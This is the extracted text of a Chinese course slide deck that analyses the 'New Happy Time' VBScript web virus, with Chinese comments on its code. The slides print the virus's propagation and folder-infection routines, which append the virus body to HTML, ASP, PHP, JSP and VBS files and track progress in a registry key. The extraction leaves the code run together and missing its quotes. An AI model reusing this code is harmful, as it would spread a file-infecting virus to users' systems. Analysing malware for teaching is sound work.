典型网页病毒剖析课件.ppt

新欢乐时光代码分析 计算机病毒与防治课程小组 For j = 1 To FolderCount If LCase(SubString) = LCase(DicSub.Item(j)) Then If j FolderCount Then CurrentString = CurrentString DicSub.Item(j+1) \ Exit Do End If End If Next LastIndexChar = InstrRev(CurrentString,\,Len(CurrentString)-1) SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) End If End If Loop KJOboSub = CurrentString End Function 新欢乐时光代码分析 计算机病毒与防治课程小组 功能：病毒传播 Function KJPropagate() On Error Resume Next RegPathvalue = HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree DiskDegree = WsShell.RegRead(RegPathvalue) 如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘 If DiskDegree = Then DiskDegree = FinalyDisk :\ End If 继DiskDegree置后感染5个目录 For i=1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next 将感染记录保存在HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree键值中 WsShell.RegWrite RegPathvalue,DiskDegree End Function 新欢乐时光代码分析 计算机病毒与防治课程小组 功能：感染指定目录 Function KJummageFolder(PathName) On Error Resume Next 取得目录中的所有文件集 Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each ThisFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) ‘ 判断扩展名 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 ‘ 若是VBS则向文件中追加VBS版的病毒体 若是HTT,则标志为已经存在HTT了 If FileExt = HTM Or FileExt = HTML Or FileExt = ASP Or FileExt = PHP Or FileExt = JSP Then Call KJAppendTo(ThisFile.Path,html) ElseIf FileExt = VBS Then Call KJAppendTo(ThisFile.Path,vbs) ElseIf FileExt = HTT Then HttExists = 1 End If Next 新欢乐时光代码分析 计算机病毒与防治课程小组 如果所给的路径是桌面，则标志为已经存在HTT了 If (UCase(PathName) = UCase(WinPath Desktop\)) Or (UCase(PathName) = UCase(WinPath Desktop))Then HttExists = 1 End If 如果不存在HTT 向目录中追加病毒体 If HttExists = 0 Then FSO.CopyFile WinPath system32\desktop.ini,PathName FSO.CopyFile WinPath web\Folder.htt,PathName End If End Function 新欢乐时光代码分析 计算机病毒与防治课程小组 功能：定义FSO,WsShell对象